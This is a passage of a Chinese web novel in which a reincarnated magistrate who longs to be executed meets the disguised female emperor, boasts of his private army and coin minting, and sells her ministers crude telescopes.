看到秦曦如此紧张的表情,许攸心里也不淡定了。 不就是个云安公主,这么紧张干什么? 难不成担心隐太子卷土重来? 可他现在镇守西北,别说隐太子了,就算**厥举兵,也不一定能破关,根本不用担心。 许攸心里无语,也没打算当场给秦曦难堪,反而不急不慢的开口。 “敢问殿下,如今天下能对我大唐造成威胁的,有什么势力?” 秦曦愣了下,低头仔细沉思。 按照大唐如今的情况,能早晨威胁的,不仅有突厥,还有党项、胡族、蛮族等十八部落。 但要说威胁最大的,肯定是突厥。 至于党项这些,如今被许攸抵挡在天关外,威胁力基本上消散。 “突厥!” “没错!” 许攸松了口气,他就怕秦曦脑子抽,来一句青尧县。 他可是大大的良民! “殿下,突厥乃游牧部落,但是他们的力量可比胡族蛮族更强,无论东西突厥,其部落吞并了大大小小五十多个部落。” “他们没有自己的土地,没有自己的制度,只有拳头为尊!若是让他们自由发展,不到五十年时间,就会让其发展壮大!” “以我们陛下的深谋远虑,怎么会容忍这样的存在?” “下官是大唐的臣子,食君俸禄,为君分忧,此乃我应该做的!” 一番话掷地有声。 院中陷入死寂,秦曦的眸子不停收缩,满脸的警惕和震撼,则是被浓厚的思索和紧张取代。 眼前的许攸,让她更加看不透! 只是简单的几句话,就把突厥的威胁,全部道出! 此子,恐怖如斯,不得不防! “继续说!” 第五十九章 能不能证明下身份 “下官认为,西征突厥没有错,不但要西征,还应该彻底打到服!” 秦曦眸子放亮,这是她第一次从外人口中,听到如此言论。 此刻她有一种知己的感觉。 “为何?” “东西突厥势大,不但是对我大唐的挑战,还是对皇权的挑战!” 秦曦的心头狂跳,这番话说到了她的心坎,她之所以想要西征,就是忌惮突厥发展,还有她想要证明自己。 若是能一战而胜,对她皇权自然是有重大的好处! 此刻秦曦双眼放光,许攸看似漫不经心的话语,实则每句话都说在了她心坎中。 “如今天下都知道,隐太子叛乱,手刃皇子公主无数,连那些王公贵族都难逃毒手。” “天子英明,承载天德,于水火之中济世,乃大贤之人,此举可助天子巩固皇权,加强对朝堂以及大唐内外声望舆论控制!” 轰隆! 如果先前的话,只是一枚炸弹,如今许攸这番不掩饰的话语,就是彻头彻尾的一把刀子,一把刺穿秦曦伪装的刀子。 秦曦深吸一口气,周身气势凝聚,这次她身上不是杀意,而是心事被看破后的愤怒以及羞臊。 “放肆!你可知道,你这言论若是在朝堂,要被诛九族的?” 一声冷冽怒吼后,庭院内声浪翻滚! 隐太子之所以有个隐字,那都是因为这位太子在大唐之中,已经成了禁忌! 杀兄弑父,屠戮手足,隐太子的罪恶可不是三两句可以说清楚。 李牧的脸色也煞白,他很清楚,这在大唐是禁忌话题!现在许攸在挑战禁忌,在肆无忌惮的挑战女帝的底线。 此等丑闻,平民百姓私下说,无人会管得着,大唐崇尚自由,言论也自由,只要不怕掉脑袋就行。 但这种禁忌话题,不但是对皇室威严的挑衅,也是对天子的挑战! 这三年时间,秦曦虽然平息了叛乱,但她的内心深处,比谁都清楚,太子叛乱的事情,对她是个梦魇。 她需要证明自己,需要一场胜利,来洗刷太子叛乱带来的影响。 到现在为止,她所做的一切,都是为西征准备,而如今她的谋划,居然被许攸全部道出。 秦曦看着许攸,内心情绪不断变化。 有惊叹,有欣赏,但更多的是愤怒! 天子不可觊觎,天威也难测。 小小许攸居然妄图揣测天威,调整她秦曦的脾气! 许攸也有点懵,他难道说错了? 他就是按照当今大唐局势,现在的大唐可不是他前世那个,前世那个大唐可是出了位千古一帝。 他现在的分析,有理有据,没有半点疏漏,可以说是结合了两个时空大唐的发展和未来,做出的最优选择。 再说眼前的是云安公主,即便是和天子是亲姐妹,也不用如此大脾气。 “介娘们的脾气,有点大!” 许攸心中疑惑,秦曦那震怒的模样,让他很是无语。 秦曦此刻的愤怒,几乎要从心腔喷涌而出。 若是在朝堂上,她会下令,将许攸给千刀万剐。 就在她眼中怒火要喷出的瞬间,一道咳嗽声,打破了宁静。 “咳咳,小姐!” 李牧幽幽出声,显然是担心秦曦暴怒之下,做出什么难以挽回的决定。 被他这话提醒,处于愤怒中的秦曦,瞬间回神,心中的怒火,也被她全部压了回去。 此刻她意识到,自己的谋划和布置,居然在三千里外,被个小小县令给看破。 满朝文武只有李牧知道她的心思,而如今多了个! 李牧可是三朝的元老,从大唐开国到现在,辅佐了三位皇帝,而眼前的青年,年岁不过三十,心思缜密,智谋远虑堪比李牧! “不!这绝对是比李牧更强的存在!” 秦曦心中感叹,眼前的许攸,就是个妖孽! 她打算继续,看看许攸还有什么好东西,继续藏着掖着! “不错!本宫倒是不知道,你居然有如此的远虑!” “若是圣上知道,想必会更加开心!” 开心? 许攸脸色发黑,他管那个狗皇帝死活,只要给他些时日,到时候凑齐功德,狗皇帝的作用就是个工具人。 “公主殿下言重了,不过是下官些许小巧思而已!” “今日招待不周,还请殿下莫要责怪,也是我治下不严,没有详细调查几位身份。” 说到这里,许攸眼珠子一转。 “可否请殿下出示,公主印玺?” “不是下官不相信诸位,只是来我青尧县,都要登记造册,以作为普查和身份证明,日后诸位想来,也可以凭借身份证明,直接入城!” 许攸不是没脑子的人,小心驶得万年船,这是他多年的经验。 如今秦曦一行人到访,一无朝廷诏令,二连康王都不知晓,必然是有其他的缘由! 为了确定秦曦等人的身份,他打算再证明下。 秦曦脸色微微变化,不着痕迹的斜瞥一眼李牧,而后淡淡的轻哼。 “舅舅,他既然想看,那就让他看吧!” “把本宫的印玺取出来!” 啊?? 李牧整个人都傻了! 他下意识的抬头看向秦曦,那张老脸上全是懵逼和茫然。 公主印玺? 那是什么玩意? 他的怀里确实有一枚印玺,可那不是公主印玺,而是监国印玺! 至于其他证明的东西,他也不敢拿出来,倒是小公主有公主印玺,可也没带在身边。 他哪想到来到青尧县,还要出示公主印玺,这纯纯的是在开玩笑! 秦曦眨巴下大眼睛,趁着许攸没看到,张开杏口,冲李牧无声道。 “舅舅,你快想想办法,我不想暴露!” 李牧好歹也是为三位皇帝服务的重臣,只是一句话,他就猜到了秦曦的心思。 这位天子是打算冒用云安公主的身份。 可难救难在,他没公主印玺。 难道说,今天他们要暴露? 偏偏这时候,许攸也露出了狐疑的目光。 “几位,难道你们有什么不便,还是印玺不再身边?” “要是真的不便,下官可以代替你们去寻找。” 许攸说完,就满脸的期待。 李牧人麻了! 现在他被架在火上,不找出来公主印玺,今天的身份必然要暴怒。 “许县令稍等,容我这就去给你找来!” 第六十章 公主印玺 李牧丢下这话,差人拿来行囊。 看他低头在桌上四下寻找,许攸心里反而泛起了嘀咕。 公主印玺是假,他要的可不是印玺,而是那份诏书! 但是眼前的一幕,很怪! 许攸皱着眉,他怎么看都感觉,这位公主的账房,似乎不是普通人。 在他疑惑的目光中,李牧手指微动,从行囊中取出两件东西,放到了桌子上。 其中一枚是印玺,通体碧绿,上方是一尊麒麟。 另外一件,则是一枚金色腰牌,上书“如朕亲临”! 两件东西放在桌上,李牧内心暗暗松了口气,他的手指扣在印玺上,不让人可以看到印章内容。 “许县令,这枚印玺就是殿下所有,乃当今圣上亲自让人雕刻,上方乃墨玉麒麟,以彰显公主殿下尊贵。” “此腰牌是圣上赐予公主殿下,持此牌可直接进入皇城内宫,也可代表天子,乃至高无上荣耀!” “不知道这两样,可否证明公主的身份?” 李牧声音很沉稳,面上依旧带着笑,又跟着拿出自己的绶带,放到桌边。 “老夫不才,中书省中书令,李牧!” 许攸惊了! 他感觉眼前的李牧有两把刷子,谁知道对方不是两把刷子,而是两把铡刀。 大唐沿袭的前朝,依旧是三省六部制度,权利最高的就是中书省中书令,其次是另外两省。 由于李牧的特殊身份,所以他就被当做首辅,至于另外两位则是左右相。 紫金绶带,公主印玺,还有天子御赐腰牌。 许攸深深吸了口气,这几人果然和他想的一样。 然后秦曦等人就不淡定了,刚才还叱咤风雨,敢把天子拉下马的许攸,瞬间就变成了谄媚的狗腿子。 “下官该死,下官居然没认出老大人,实在有罪!” “该打!” 啪! 许攸不轻不重的拍在了自己脸上,拍了一巴掌,又躬身朝着秦曦和李牧恭敬行礼。 “殿下,是下官有眼无珠,下官有罪,还请殿下恕罪!” “下官治下不严,没想到公主殿下亲临我青尧,居然还让人错将你等冤枉,下官有罪!” “殿下能够来青尧,是我们青尧的荣幸,是下官的荣幸,下官恳请殿下,宽恕那些愚民愚昧。” “公主殿下您闭月羞花……” 许攸口中马屁,就仿佛不要钱,一句接着一句,把秦曦都夸成了仙女。 李牧开始还能笑,到最后笑容僵住,那张老脸上写满了,“我是谁”,“我在那”,“我在干什么”。 不开玩笑的说,纵横朝野五十年,李牧还是第一次见到,有人能够如此自然切换脸色,说的如此不要脸。 许攸无缝切换,言语表情动作,都没任何的花哨,给人的感觉,就是那种真情实意,毫无做作的痕迹。 夸赞结束,他话语突然一转。 “殿下有所不知,我青尧和西北接壤,常年有外敌渗入,下官见几位衣着不凡,气度非比寻常,以为是那外敌新套路。” “都是下官失察,没想到冲撞到公主的大驾,还请殿下责罚!” 许攸字字深切,主动将错全部揽到了自己的身上,不但解释了为何会抓错人,还解释了如今青尧县的处境。 秦曦听完这些,只感觉眼前的许攸,不像是个年轻人,这就是个纵横官场的老油子。 不过此事的她,已经无心追究这些。 “许攸,既然你说你有罪,那你可知罪?” 秦曦眯起眼,打算借助这个借口,来敲打下眼前不知死活的许攸。 这话一出,院子中的气氛,再次变得诡异。 紧张的气息不断弥漫,蒙武也下意识捏住刀柄,大有只要秦曦下令,他会第一时间出手,斩杀国贼许攸! 面对这情况,许攸没半点惊慌,反而露出了兴奋的光彩! 来了!它真的来了! 许攸暗暗激动,他自从上书后,每天都在计算,思考自己什么时候死最划算。 以当今天子的性格,准确的说任何皇帝看到他的上书,必然会大怒! 然而这么长时间,他一直没得到任何回信,连康王都没什么消息。 此前他觉得这件事很奇怪,如果他是皇帝,得知自己治下官员,居然敢通敌叛国,还敢屯兵私造兵甲,绝对会拍大军镇压。 哪怕没大军镇压,也会降职,直接满足他的心意。 可惜一直等到现在,他都没等到回信。 如今他等到了,云安公主,首辅李牧,还有大将军蒙武,这三位都是天子的亲信。 不仅如此,云安公主还是天子的亲姐姐,从某种程度上,就代表了天子! 这几人来青尧的目的,就是代替天子! 想到这里,许攸不但没害怕,反而有点小激动。 他终于等到了今天,等到了诏书! 虽然不是皇帝亲手砍了他,但诏书下达,他就可以死,因果循环就已经达成。 他死了就能成仙,还能回到原来的世界! 许攸那脸上的兴奋,没有半点的收敛,有激动,有兴奋,也有茫然以及一丝的解脱。 他等了五年,但又不是五年,为了这个机会,他在地府学了不知道多少年,学识渊博早已超出常人认知。 如今的他终于得到解脱,得到超然的机会! 他没想着拒绝,也没想着求饶。 念此,许攸起身,再次朝着秦曦躬身一拜,神色很是平淡! “殿下,下官知罪!” 沙哑的声音从他嗓子眼溢出,很平淡,淡漠的仿佛看透了生死。 秦曦柳眉紧锁,眼前的情况,似乎和她想的不一样。 她想要利用许攸犯错,来制衡,来控制许攸。 可如今的情况,却让她有点看不透。 许攸说知罪,一没跪地求饶,二没辩解自己的罪行! 李牧也有点懵,这可不是什么小罪,真的要定罪的话,许攸有八百个脑袋,都要被砍完! 面对几人的目光,许攸深深吸了一口气,面色更加平静。 他等这一天太久,就如同渴死的人,抓住了一根芦苇,却没找到一滴水。 如今摆在他面前的,是一片汪洋! “殿下,下官知罪,下官罪无可恕。” “还请殿下,将东西拿出来!” 第六十一章 轻薄女帝的计划 “拿什么?” 秦曦一头雾水,下意识就开口询问。 问出这话后,她脸色大变。 她可是天子,在个县令面前,居然表现的如此茫然,以及如此的没有气度。 许攸眨巴下眼睛,也有点懵圈。 “啊?” 他仔细看了两眼秦曦,又将目光落到桌上。 金色腰牌,公主印玺,都不是作假。 难道是他想错了? 感觉自己态度可能有点不对,许攸立刻端正了自己的身形。 “下官身为青尧县县令,不思为国为民,压榨民脂民膏,私造兵甲,豢养私兵,修建城池占山为王,此乃死罪!” “不仅如此,下官还勾结外族,开通互市,以及走私兵甲给外族,此等种种罪行,罄竹难书,当株连九族,以儆效尤!” “还请殿下不用顾忌下官脸面,下官有取死之道,请将圣令取出!” 秦曦和李牧是彻底傻眼,两人对视一眼,面面相觑,眼底都是迷茫和疑惑。 眼前这许攸,是不是脑子有病? 两人都感觉,许攸说话的语气是故意压着激动。 那激动不是害怕,而是兴奋,似乎是终于可以死的兴奋。 面对死亡的时候,正常人都是恐惧,为何眼前的许攸,居然是兴奋,以及激动? 尤其是那语气,就仿佛说“我该死,你赶紧砍死我,我求之不得”。 秦曦脑子都感觉有点不够用,奏疏上的罪名,她看了,也亲身体会到。 在她看来,许攸做出如此多的事情,不但不该死,应该重重嘉赏! 她脑海中,想起了李牧初见许攸的评价。 “此人有经天纬地之才,有匡扶社稷之心,是相才!” 古往今来能被称之为相才的,绝对不在少数,但至少没人会主动求死。 秦曦脸色冷了下去,她发现自己差点着了道,着了许攸的道! 至于许攸列的那些罪状,要是没亲眼看到,她肯定会大怒,但是现在…… 她觉得这是功绩,是大唐盛世的基础! 开民学,立律法,设长了坊,整改土地所有权,大改税法,让老有所依,幼有所育,鳏寡孤独都有了保证。 在青尧县内,百姓不用为战乱发愁,不用为生计发愁,他们索要考虑的是,如何发挥自己余力,发展整个青尧县。 每个人都是青尧县的一份子,青尧县也都是他们的。 官和民融合,达到了前所未有的高度。 “哼!” 秦曦轻哼一声,内心已经打定主意。 “你要死,朕就偏偏不让你死!” 此前她有处死许攸的想法,仔细看来后,她早已打消,如此人才,不但不能死,还得留着。 当然,她还有个很浓厚的疑惑,那就是许攸如何养出那么大的军队。 大唐上千万人,也只有士卒五十万,至于说的百万,全都是民兵。 这些士卒中能上战场的,也只有二十万人,即便是如此,大唐也能镇压四方。 青尧县两大军营,她猜测有精锐,至少五万,普通士卒也有十万左右! 这才是她最为忌惮,也最为担心的。 若是这股力量,不能为她所用,那只能舍弃! 秦曦深吸了一口气,压下心中的烦躁,嘴角勾起一抹弧度。 那高傲淡漠的冷淡,差点把许攸魂勾走。 “咳咳!许县令,此次本宫前来,确实有带诏书!” 许攸眼睛瞪圆,果然有诏书! 不等他开口,秦曦再次开口道。 “天子有令,让本宫前来视察,看你是否如同诏书中所言,若是所言属实,可便宜行事。” “要是不属实,那只能押回长安城,由天子亲自定论。” 什么?!! 许攸脑袋一片空白,这话算是什么意思? 回长安? 让那狗皇子亲自定论? 他是想见狗皇帝吗?他是想嫖公……想死! 许攸捏起下巴,虽然见狗皇帝,有可能不死,但只要他作死的快点,说不定可以早点死。 至于功德,他也不担心,河内发大水,流民肯定不少,到时候青尧县救护队和工程队同时出动。 几万人的大功德,比起杀点党项的残部,那可多太多了! “那个,下官要去长安城的话,能在菜市口被砍头,或者被吊死在城门口吗?” 秦曦一口心头血,差点没喷出来。 这是什么离谱的要求? 在菜市口被砍头,被吊死在城门口,难不成许攸就这么想死? 她是越想越气,许攸越想死,她就越不让对方得逞。 “那得看你的罪名,你现在这些罪名,本宫觉得不太行!” “啊?!” 许攸脑袋上浮现出三个问号,这些罪名还不足以砍头,现在大唐砍头的罪名标准,都要求那么多了吗? 再看秦曦那认真的脸色,他内心确实有点慌。 “敢问殿下,那下官该如何寻死,才能死的快点?” 秦曦咬着牙,双手背在身后。在许攸看不到的地方,两只玉手攥在一起,疯狂的扭动。 李牧看了眼,权当做没看到,他也搞不明白,许攸到底是什么脑回路,一天天的不是想着当官发财,而是想死。 在许攸期待眼神中,秦曦压抑住心中的烦躁。 “本宫暂且还不知道,不过那些城卫军,是怎么回事?” “你这是打算自立为王?” 冰冷的语气溢出,身为帝王,哪怕秦曦掩饰的再好,无意间的帝王气势,还是流露了出来。 许攸低着头,正思索自己的错误,他发现自己有点急于求成了。 死得其所是一方面,当初阎王说过,开启轮回,需要大量的功德。 功德不是无缘无故而来,有功德就有业力,一旦业力超过功德,纵使许攸凑齐功德,也死得其所,那也枉然。 所以他得让皇帝有个正当理由,能够处死他,还不能牵连其他人。 刚才他没什么想法,但是现在有了! 眼前这位是公主,有个几万人马,这不很正常? 至于他,他就是个反贼! “殿下,那不是下官的兵马,而是您的!” “这些都是下官这些年,为您准备的兵马!” 秦曦第一次发现,人有时候真的可以很不要脸,不要脸到她都觉得丢人的地步。 许攸连她是谁都分不清,开口就说青尧县的城卫军,居然是为她准备的? “那个公主殿下,如果下官轻薄了您,陛下会砍死我吗?” 第六十二章 从抢人到铸钱一条龙 秦曦攥紧的拳头扬起,又很快放下,那张俏脸上红云浮现,一双凤眸瞪圆,银牙紧咬。 “许县令,你若是再胡言,信不信本宫现在就砍了你?” 她快气炸了! 眼前的登徒子,居然如此无耻!还问她,轻薄她后会如何! 还能如何? 秦曦恨不得现在就拔出刀,将许攸先给剁成肉酱。 许攸讪讪一笑,他就是问问,问问又不掉块肉,万一有机会呢? “殿下你也知道,我们这青尧县那叫个穷,以前百里之内,盗匪连天,靠着地里刨食,那什么时候才能吃饱穿暖?” “咱们只能走走偏门,捞点别人不愿意的。” 说到这里,他用手在脖子上抹了下。 “咱们这里地多,人少,还有矿也多。” “你还别说,我和康王借了五千兵马,挨个打过去,能抓的抓,不能抓的就杀,一路居然弄了快十万俘虏!” “我利用这些俘虏开矿修田,又用这些田地招揽百姓,交给他们耕种畜牧,让他们烧窑炼铁。” “而后又开了互市,利用那些蛮子脑子不好使,这不就发了点小财!” 秦曦眼角疯狂抽动,她到现在才发现,许攸的无耻,和表面上那正人君子形象完全不合。 擅自借兵,没有兵部调令,这已经是死罪。 奴役百姓,私开互市,与外族勾结,这也全都是死罪! 她都不敢想象,怎么有人会胆子大到包天,连这些事都能堂而皇之说出口。 许攸就仿佛没看到她那吃人的表情。 不能调戏公主,那他只能阐述事实,这样云安公主回去,肯定会上报狗皇帝,到时候他也能死的其所。 “咱们有钱了,可不能便宜蛮子。” “俗话说广积粮,缓称……” “嗯?” 秦曦脸色再次黑了三分,那双凤眸瞪的和牛眼差不多,身体微微前倾,几乎要贴到了许攸面前。 “你刚说什么?缓称什么?” 这话众人都知道,她却没想到会从许攸口中说出。 此乃大逆不道,要诛九族的! “缓称什么?殿下,下官愚昧无知,还请殿下看在下官年轻,就当是童言。” 童言无忌! 许攸脸皮很厚,只是一个眼神,肯定吓不到他。 所以他压根没放在心上,只是暗暗欣赏眼前的美景。 秦曦穿着鹅黄色长裙,领口是对襟设计,腹部有牡丹花卉图案。偏偏她现在身体前倾,一抹雪白若隐若现。 “下官和肚兜势不两立!” 闻言,不仅秦曦皱起眉,李牧也瞪大眼。 “许县令,快些说出你的“罪状”,老夫可要如实禀告陛下的!” 李牧是看出来,许攸就是个老油子,不过他半天都没听出,这兜肚是什么意思。 许攸被他打岔,心不甘情不愿的翻了个白眼。 或许是察觉到异常,秦曦皱起柳眉,身体重新向后拉直,也让那抹雪白彻底消失。 “刚才下官口胡,要说咱们有钱,那就是招人!” “我招的可不是一般人,我要的都是工匠,他们会开山,会炼铁,只要我吩咐下去,工钱到位,什么都有人干!” “于是我就开了山,有铜铁,还有金银和煤矿,铜铁用来制造器具和军备,金银用来铸钱!” 哐当! 此话一出,李牧直接坐到地上! 李牧一直以为,许攸是胆子大,最多也就养养私兵,这也有借口解释,毕竟这里是西北,有兵才能抵抗外族。 可他万万没想到,许攸会铸钱。 盐铁铸钱等,都是朝廷所把控,可不是任何官员都能私自授权,凡是涉及到,都要上报朝廷。 “你简直胆大妄为!” 许攸不以为耻,反而得意洋洋的当做是赞赏。 “下官只是为了守护好大唐领土,我乃陛下的臣子,身为臣,就得替天子守好国门。” “我也就弄了点武器铠甲,其他的都没什么!” “殿下,你觉得我这样如何?” 秦曦不想说话,要是眼神能杀人,许攸就是个马蜂窝。 私自铸钱,私自铸造兵甲,还有私募军卒…… 无论那一条,都是写在律法上,是明令禁止的! 自从大唐开国到如今,叛乱者不知凡几,但是和许攸这样,发展的仅仅有条,把叛乱说成替天子守国门,这是从未有过! 她现在很怀疑,许攸是不是脑袋有问题! 从许攸话语中,不难得出一条信息,如今整个青尧县乃至荆州,都是他一人的天下。 从进山剿匪,到开山铸钱铸造兵甲,无论从什么地方看,都是有预谋的! 前期靠以战养战,那些山匪可不是什么善人,路过客商和蛮族这些都要被啃两口。 许攸全部剿灭,所得的人马都不止十万。 以这十万作为劳力,带动整个青尧县发展,再推动周边。 难怪她们此行来,很少看到百姓,越到青尧县百姓越少。 综合估计下来,青尧县的兵力至少在三十万以上! 得出这个事实的秦曦,都不知道如何开口。 从许攸的角度分析,他所作所为不但没有错,反而是促进了西北安全。 至少这几年,秦曦从未听到过西北传来战报! 可换个角度,这分明就是在自立为王,还是在打她的脸那种! 当然,秦曦最想说的不是这个,而是那些城卫军! “少说这些歪理,本宫问你,那些城卫军到底有多少人?” “六万!” 许攸一本正经回答,至于答案是真是假,就没人知道了。 “如果他们和墨麟军正面对垒,墨麟军有几分胜算?” 这问题问得好! 许攸一时间,居然不知道怎么回答。 不是他小看墨麟军,而是双方都不是一个量级的,他在地府的老师是谁? 军神白起,兵神孙武等人,每一个都是曾经叱咤风云之人,结合现代练兵方式,编写的特殊训练法。 也只有常年在生死线上徘徊,才能铸造一支强军,为此他可是把抚恤开到了五百两银子一人! “殿下,如果我说一万墨麟军,只能打得过我手下千人,你信吗?” 空气变得干燥,秦曦心口起伏不断,虽早有预料,但听到这话的她,还是没忍住,爆喝出声。 “现在!立刻!马上!” “让你的人,离开本宫护卫的营地,他们若是少半根毫毛,本宫扒了你的皮!” 第六十三章 长安的大肥羊 许攸讪讪点头,事情见好就收,再过可就不好了! “殿下教训的是,都是我治下不严,我这就下令!” 说完,他又腆着脸来到秦曦面前,躬身弯腰伸手往里外迎。 “殿下,你在煤场肯定没吃好,我给你们准备了点饭食,咱们看点热闹的如何?” 秦曦眯起眼,她知道许攸不是善茬,刚才那不过是对方示弱,而现在才是真正青尧县的獠牙所在。 她也不着急,抱起小公主,慢悠悠走在前方。 这倒是把许攸看呆了! 冷风如刀,一行人坐在马车上,快速朝着城门口而去。 等来到瞭望台上是,秦曦等人才发现,这城墙也不一般。 正常情况下,城墙修建都是分藏兵楼、瞭望楼、烽火楼,以及正常的甬道,可以用来作为防御所用。 但他们一路上走来,城墙上有瞭望楼,却没藏兵楼,至于烽火楼更加没有。 瞭望楼距离城墙有两米远,笔直插入云霄,高出城墙最少五米。 城门口主楼上,秦曦等人缓缓走到城墙边缘。 “殿下,用这个看!” “这个看的比较清楚!” 许攸让人拿过两个小盒子,其中一个打开,被送到了秦曦面前。 秦曦不动声色的瞥了眼,并未伸手去接,而是朝着李牧示意。 李牧可是个老狐狸,笑眯眯伸出手,抢先一步将锦盒给拿了过去。 “许县令,此乃何物?” 献宝不成的许攸,白眼都要翻到了天上。 “望远镜,斥候用来观察敌情所用,买不买?” 李牧一口气没上来,差点直接被气死。 他刚想刺激下许攸,哪知道这小狐狸不但不上钩,反而还很聪明的怼了他一口。 眼前东西必然是宝贝,能送给公主的,至少也得百两黄金。 权衡再三之后,李牧还是打算,先看看这手里的东西。 将锦盒放到一边后,他取出里面的东西。 这是两个圆筒状的结构,中间有个尺度仪,上面刻有天干地支。 对这些东西,李牧很是熟悉,不用许攸解释,把圆筒大头对准双眼。 然后他就吐了! 许攸拿出来的是第一代望远镜,算是小孩子玩都觉得伤眼睛的那种。 第一代望远镜制作工艺极差,镜片基本上没有多少光学可言,就是单纯的凹凸组合,能够把远处景象通过光现象放大到瞳孔。 一旦拿反了,那就回突然放大,不盯着看还好,盯着看几秒就头晕眼花! “呔!” “小姐小心!” 蒙武看到李牧拿着所谓“望远镜”,刚凑到脸上还没二十息,那张老脸煞白,身体更是完成了弓字,不停干呕。 他没任何的犹豫,一手握住刀鞘,另外一手拔刀,刀尖直指许攸的咽喉。 许攸没半点害怕,要是在战场上,蒙武肯定很恐怖,但这里是青尧县。 “都怪下官,刚才下官没说清楚,这个望远镜是要把大头对着外面,小头对准自己的眼睛。” “中间的分度仪有天干地支,可以对应方向,目前能看到的只有两三里,实在可惜!” 李牧从眩晕中回神,闻言急忙拿着望远镜,往前面看去。 这次果然没了那眩晕感,他还是觉得有点不舒服,但比之前好了很多。 远处距离城墙一里外,一支大军如同鬼魅,将五千墨麟军给围困在中间。 五千士卒脸上表情,虽看的不是很真切,但一切都近在咫尺,似乎就在眼前百米之外。 李牧大惊,不信邪的将手中望远镜拿开,又揉了揉自己的眼。 他年事已高,就算是养气和养生功夫厉害,这么长时间盯着望远镜,眼睛也吃不消。 来回几次查看后,他的脸上已经不是震惊能够形容。 “神物!此乃神物!” 李牧嘴唇开合,他想说什么,又呐呐的止住。 刚刚他想问许攸,眼前的望远镜还有多少,下意识便回想起刚才的对话。 “许县令,此物可卖?” 如此神奇的东西,在战场上就是杀器。 战场可不是寻常时刻,斥候和将领能够第一时间观察到敌情,对大军就多了一份赢的契机。 能够提前两里路察觉对方布置,对于斥候而言,那就更加重要。 李牧面色凝重,将望远镜递给了秦曦后,小声在她耳畔道。 “墨麟军有此物,胜算可多三成!” 墨麟军是特殊起兵,不但可以小队作战,还能组成方阵冲击敌营。 有了望远镜,那就是提前发现敌人,对墨麟军高机动性而言,就有了更多的方法。 如此黑夜中,都能看清楚,到了白天就更加不用说! 秦曦不明所以,见李牧说的很认真,也学着他的样子,拿起望远镜眺望。 “这……这……” 她也惊了! 大军距离城墙可有好几里的路程,而眼前的小东西,居然可以提前洞悉军情! 军情就是胜利的契机,对于行军打仗,那可是至关重要的洞悉! 秦曦一言不发,将手里的望远镜,交给了蒙武。 身为大将军,蒙武不但在统兵作战上强,军事造诣也很强。 拿着望远镜,看到远方的景象后,他陷入了沉默。 夜间虽然只能看到火光中的东西,看的还不是很真切,可这一切也足够了! 神物! 此宝贝,足以抵得上一支精锐! 蒙武心中有了定数,无论如何都要拿下! 三人互相看了眼,都有了定数。 依旧是李牧先开口。 “许县令,此物可卖?” 许攸真纳闷着呢,献宝不成,还被李牧这老狐狸摆了一道,如今他没好气的竖起一根手指。 “卖是可以卖,但是价格么……” 李牧的老脸都快笑开花。 “许县令,一百两吗?” 闻言,许攸有点心虚,一百两银子有点多。 望远镜都是手工研磨,靠着工匠的手感,挑选合适镜片组装,除掉废的镜片,成本在五两银子左右。 到后面的几代望远镜,因为涉及到了定位以及校准等功能,造价也愈发昂贵,哪怕是这样,也才百两左右成本。 他昧着良心竖起一根手指,只打算说十两。 “嗯,一百两!” 许攸沉默几息后,认真的点点头。 “好!一百两黄金,这两个我都要了!” 第六十四章 离开青尧县 “一百两买两个吗?” 许攸刚说不合适,突然反应过来,诧异的看向李牧。 “李大人,您老刚才是说什么?” “一百两黄金,这两个,老夫都要了!” 李牧老脸笑开花,干脆拉着赵北川来到角落。 “许县令,你这宝贝肯定不少,老夫也不黑你,你卖老夫两个,再送个给我如何?” 许攸的眼神变得古怪。 就这破望远镜,丢给城卫军那些斥候,他们都要嫌弃。 一代望远镜看的时间长,不但伤眼睛,还没办法定位,只能换算下大概的距离。 最致命的是,这个很模糊,有效距离是一里,超过一里就很模糊,大概能看清。 成本五两银子,卖一百两金子。 许攸头一遭做这种天打雷劈的买卖,内心也有点心虚。 “李大人,您要的话,我再送你个宝贝!” “您是不是要送给那位?” 他往头顶指指,其话语不言而喻。 李牧没说话,左手捋着胡须,很是神秘的笑笑。 见此,赵北川便差人,在那人耳边吩咐了两句。 “去拿一批五代的望远镜,拿五个。” “是,许大人!” 那人没多问,只是要了手令后,快步跑下城楼。 半个时辰后,秦曦低头看着手里的望远镜,满脸都是狰狞。 他们等人都不傻,自然明白这是被许攸诳了。 五百两金子,买了五个望远镜,五代的产品!还附送十个一代的! 这是许攸良心过不去,毕竟大唐人不骗大唐人! 既然拿到了望远镜,现在就是展现产品的最好时刻。 许攸拿出一枚响箭,朝着天空点燃。 随着一声尖啸,夜空中出现一抹银白色的光辉。 响箭并不稀奇,奇就奇在这枚响箭不但响,而且还有白光浮现。 黑夜之中,白光突然炸起,在天空中接连炸开九夺。 随着烟花消散,秦曦和李牧等人都皱起眉。 “响箭号令大军,是否太过儿戏?” 操控大军,还是在黑夜中,可不是那么容易。 几人可不相信一枚响箭,就能调动几万人的大军! 偏偏这时候,天地间发生了诡异震动。 原本聚在一起的火光,居然开始分裂,呈四个方阵,步履整齐,没有半点的骚乱。 望远镜中,大军后列变前阵,如同四条长蛇,整齐划一。 上万人的军阵,在黑夜中就如同行走的夜叉,寂静无声,悄无声息的褪去。 整个过程也不过是盏茶时间,从分裂列阵到阵型整齐撤退,那高效的行军速度,让秦曦三人倒吸了一口凉气。 三人都以为城卫军只是战力强,根本没想过,城卫军恐怖的不是战力,而是那恐怖的执行力。 没有人迟疑,没有人怀疑军令,从列阵到撤退,甚至没有一丝骚动。 几人脸上的表情从震撼,到凝重,再到忌惮,最后化作了警惕和骇然。 恐怖!太恐怖了! 秦曦还未觉得如何,李牧和蒙武早已被冷汗打湿了后背。 李牧虽然是文臣,可年轻时候也领兵打过仗,知道兵法,懂得排兵布阵。 比他更懂的是蒙武,两人都自问没能力,将步率统御到如此地步。 这不是人,这是一群木头,是一群傀儡! 蒙武额头的冷汗,不停从额头滑落。 墨麟军到现在还在惊慌不定,想比起城卫军,他们可差太多了。 这不是一支军队,是一支冷漠无情的傀儡。 到底如何训练的? 如此恐怖的大军,整个大唐无人可以抵挡,也无法抵挡! 神鬼莫测的指挥手段,还有手里这望远镜,都是神物! 蒙武满脸骇然。 未知才是恐怖的,明明许攸就在他面前,他却觉得似乎看到了怪物。 秦曦也是如此想法,她想的更多。 难怪许攸说一千城卫军就可以撼动墨麟军,堂堂的大唐的镇国神柱,居然比不过一个县的城卫军。 可笑,也可怕! 她可是大唐的皇帝,贵为天子! “不行,这支大军必须掌握在朕的手里!” 秦曦眸子转动,她很清楚,在青尧县或者说在荆州,她无可奈何许攸。 整个西北方,或许早就成了许攸的天下,如今只是没暴露。 